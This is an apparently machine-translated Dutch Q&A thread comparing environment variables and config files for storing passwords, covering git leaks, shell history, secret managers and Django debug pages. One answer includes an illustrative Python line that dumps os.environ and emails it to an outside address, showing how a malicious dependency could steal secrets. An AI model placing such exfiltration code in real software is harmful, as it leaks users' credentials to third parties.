Is het veilig om wachtwoorden op te slaan als omgevingsvariabelen (in plaats van als platte tekst) in configuratiebestanden?

Ik werk aan een paar apps in rails, django (en een beetje php), en een van de dingen die ik in sommige daarvan ben begonnen, is het opslaan van database- en andere wachtwoorden als omgevingsvariabelen in plaats van platte tekst in bepaalde config-bestanden (of in settings.py, voor django-apps).

Toen hij dit met een van mijn medewerkers besprak, suggereerde hij dat dit een slechte gewoonte is – dat dit misschien niet zo perfect veilig is als het op het eerste gezicht lijkt.

Dus ik zou graag willen weten: is dit een veilige praktijk? Is het veiliger om wachtwoorden als platte tekst in deze bestanden op te slaan (waarbij u er natuurlijk voor zorgt dat u deze bestanden niet in openbare repo’s of iets dergelijks achterlaat)?


Antwoord 1, autoriteit 100%

Zoals eerder vermeld, bieden beide methoden geen enkele extra “beveiliging” als uw systeem eenmaal is gecompromitteerd. Ik geloof dat een van de sterkste redenen om de voorkeur te geven aan omgevingsvariabelen versiebeheer is: ik heb gezien dat veel te veel databaseconfiguraties enz. per ongeluk worden opgeslagen in het versiebeheersysteem zoals GIT, zodat elke andere ontwikkelaar het kan zien (en oeps! het is mij ook overkomen …).

Als u uw wachtwoorden niet in bestanden opslaat, kunnen ze niet worden opgeslagen in het versiebeheersysteem.


Antwoord 2, autoriteit 95%

Op een meer theoretisch niveau heb ik de neiging om op de volgende manieren over beveiligingsniveaus na te denken (in volgorde van toenemende sterkte):

  • Geen beveiliging. Platte tekst. Iedereen die weet waar hij moet zoeken, heeft toegang tot de gegevens.
  • Beveiliging door verduistering. U slaat de gegevens (platte tekst) op een lastige plaats op, zoals een omgevingsvariabele, of in een bestand dat eruit moet zien als een configuratiebestand. Een aanvaller zal er uiteindelijk achter komen wat er aan de hand is, of erover struikelen.
  • Beveiliging geleverd door codering die triviaal is om te breken (denk aan Caesar-codering!).
  • Beveiliging geleverd door codering die met enige moeite kan worden verbroken.
  • Beveiliging geleverd door codering die onpraktisch is om gezien de huidige hardware te breken.
  • Het veiligste systeem is er een dat niemand kan gebruiken! 🙂

Omgevingsvariabelen zijn meerveiliger dan platte tekstbestanden, omdat ze vluchtig/wegwerpbaar zijn en niet worden opgeslagen;
d.w.z. als u alleen een lokale omgevingsvariabele instelt, zoals “set pwd=whatever”, en vervolgens het script uitvoert,
met iets dat uw opdrachtshell aan het einde van het script verlaat, bestaat de variabele niet meer.
Uw zaak valt onder de eerste twee, wat volgens mij nogal onzeker is. Als je dit zou doen, zou ik het niet aanbevelen om buiten je directe intranet/thuisnetwerk te implementeren, en dan alleen voor testdoeleinden.


Antwoord 3, autoriteit 75%

Elke keer dat u een wachtwoord moet opslaan, is het onveilig. Punt uit. Er is geen manier om een ​​onversleuteld wachtwoord veilig op te slaan. Welke van de omgevingsvariabelen versus configuratiebestanden “veiliger” is, is misschien discutabel. IMHO, als je systeem gecompromitteerd is, maakt het niet echt uit waar het is opgeslagen, een ijverige hacker kan het opsporen.


Antwoord 4, autoriteit 48%

Sorry dat ik niet genoeg vertegenwoordiger had om commentaar te geven, maar ik wilde er ook aan toevoegen dat als je niet oppast, je shell dat wachtwoord ook in zijn opdrachtgeschiedenis kan vastleggen. Dus het handmatig uitvoeren van iets als $ pwd=mypassword my_progis niet zo kortstondig als je had gehoopt.


Antwoord 5, autoriteit 40%

Ik denk dat je, indien mogelijk, je inloggegevens moet opslaan in een gitignored-bestand en niet als omgevingsvariabelen.

Een van de dingen waarmee u rekening moet houden bij het opslaan van referenties in ENV (omgevings)variabelen versus een bestand, is dat ENV-variabelen heel gemakkelijk kunnen worden geïnspecteerd door elke bibliotheek of afhankelijkheid die u gebruikt.

Dit kan kwaadwillig gebeuren of niet. Een bibliotheekauteur kan bijvoorbeeld stacktraces plus de ENV-variabelen naar zichzelf e-mailen voor debuggen (niet best practice, maar het is mogelijk om te doen).

Als je inloggegevens in een bestand staan, is het veel moeilijker om erin te duiken.

Denk in het bijzonder aan een npm in node. Voor een npm is het een kwestie van process.ENVom naar uw inloggegevens te kijken als ze in de ENV staan. Als ze daarentegen in een bestand staan, is het veel meer werk.

Of uw bestand met inloggegevens al dan niet versiebeheerd is, is een aparte vraag. Geen versie die uw referentiebestand beheert, stelt het bloot aan minder mensen. Het is niet nodig dat alle ontwikkelaars de productiereferenties kennen. Aangezien dit in overeenstemming is met het principe van de minste privileges, raad ik je aan om je inloggegevensbestand te negeren.


Antwoord 6, autoriteit 16%

Het hangt af van uw dreigingsmodel.

Probeer je te voorkomen dat je gebruikers wachtwoorden over hun bestandssystemen verspreiden waar ze waarschijnlijk worden vergeten en verkeerd worden gebruikt? Zo ja, dan wel, omdat omgevingsvariabelen minder persistent zijn dan bestanden.

Probeer je je te beveiligen tegen iets kwaadaardigs dat rechtstreeks op je programma is gericht? Zo ja, dan nee, omdat omgevingsvariabelen niet hetzelfde niveau van toegangscontrole hebben als bestanden.

Persoonlijk denk ik dat nalatige gebruikers vaker voorkomen dan gemotiveerde tegenstanders, dus ik zou voor de omgevingsvariabele benadering gaan.


Antwoord 7, autoriteit 9%

Een probleem met het gebruik van omgevingsvariabelenom geheimen op te slaan is onder andere dat ze onbedoeld kunnen worden gelekt:

  • Rommelige code die onbewerkte foutmeldingen met context (env vars) weergeeft aan een gebruiker
  • Bewakingstool die de fout en context vastlegt en deze verzendt/opslaat voor toekomstig onderzoek
  • Ontwikkelaar logt omgevingsvariabelen die ze op schijf bewaren (en mogelijk in een of ander logboekverwerkingsprogramma, bijv. Logstash)
  • Gecompromitteerde afhankelijkheid die alle globale variabelen verzendt die het kan bereiken, inclusief env-vars naar de aanvaller
  • De env-variabele instellen sporen achterlatenin de shell-geschiedenis

Potentiële problemen met geheimen die zijn opgeslagen in configuratiebestanden:

  • Onjuist geconfigureerde bestandsrechten die toegang geven aan een willekeurige OS-gebruiker
  • Ontwikkelaar die configuratiebestanden toevoegt aan versiebeheer
    • Opzettelijk (niet wetende dat het slecht is)
    • Per ongeluk. Zelfs als het bestand wordt verwijderd (misschien tijdens een PR-beoordeling), kan het, als het niet goed wordt gedaan, nog steeds in de Git-commit-geschiedenis leven.

Irrelevant voor de manier waarop je geheimen opslaat, als je systeem gecompromitteerd is, ben je de klos. Het extraheren daarvan is slechts een kwestie van tijd en moeite.

Dus wat kunnen we doen om de risico’s te minimaliseren?

Bewaar geheimen niet in platte tekst en geef ze niet door.
Een manier om het probleem aan te pakken is om een ​​externe (beheerde of zelf-gehoste) oplossing voor het opslaan van geheimen te gebruiken (bijvoorbeeld AWS Parameter Store, Azure Vault, Hashicorp Vault) en gevoelige gegevens tijdens runtime op te halen (mogelijk in cache in het geheugen). Op deze manier worden je geheimen versleuteld tijdens transport en in rust.


Antwoord 8, autoriteit 4%

AFAICT, er zijn twee redenen waarom mensen aanraden geheimen op te slaan in omgevingsvariabelen:

  1. Het is te gemakkelijk om per ongeluk geheime platte bestanden in een repo te plaatsen. (En als het een openbare repo is, ben je toast.)
  2. Het voorkomt rommel met wachtwoorden, d.w.z. het hebben van dezelfde sleutel in veel verschillende projectdirectorybestanden is zelf een veiligheidsrisico, omdat ontwikkelaars uiteindelijk uit het oog verliezen waar de geheimen zich bevinden.

Deze twee problemen kunnen op betere manieren worden opgelost. De eerste zou moeten worden opgelost door een git commit hook die controleert op dingen die op wachtwoorden lijken (bijv. gitleaks). Ik wou dat Linus zo’n tool in de broncode van de git-bibliotheek had ingebouwd, maar helaas is dat niet gebeurd. (Onnodig te zeggen dat geheime bestanden altijd moeten worden toegevoegd aan .gitignore, maar je hebt een hook nodig voor het geval iemand dit vergeet.)

Dit laatste kan worden opgelost door een wereldwijd bestand met bedrijfsgeheimen te hebben, dat idealiter wordt opgeslagen op een alleen-lezen gedeelde schijf. Dus in Python zou je zoiets kunnen hebben als from company_secrets import *.

Belangrijker is dat, zoals door anderen is opgemerkt, het veel te gemakkelijk is om geheimen te hacken die zijn opgeslagen in omgevingsvariabelen. In Python kan een bibliotheekauteur bijvoorbeeld send_email(address="[email protected]", text=json.dumps(os.environ))invoegen en dan ben je geroosterd als je voert deze code uit. Hacken is veel uitdagender als je een bestand op je systeem hebt met de naam ~/secret_company_stuff/.my_very_secret_company_stuff.

Alleen Django-gebruikers:
Django (in DEBUG-modus) toont de onbewerkte waarde van een omgevingsvariabele in de browser als er een uitzondering is (in DEBUG-modus). Dit lijkt erg onveilig als een ontwikkelaar bijvoorbeeld per ongeluk DEBUG=Truein productie zet. Daarentegen verdoezelt Django WEL de variabelen van wachtwoordinstellingen door te zoeken naar de strings API, TOKEN, KEY, SECRET, PASSof SIGNATUREin de variabelenamen van het settings.py-bestand van het framework.

Other episodes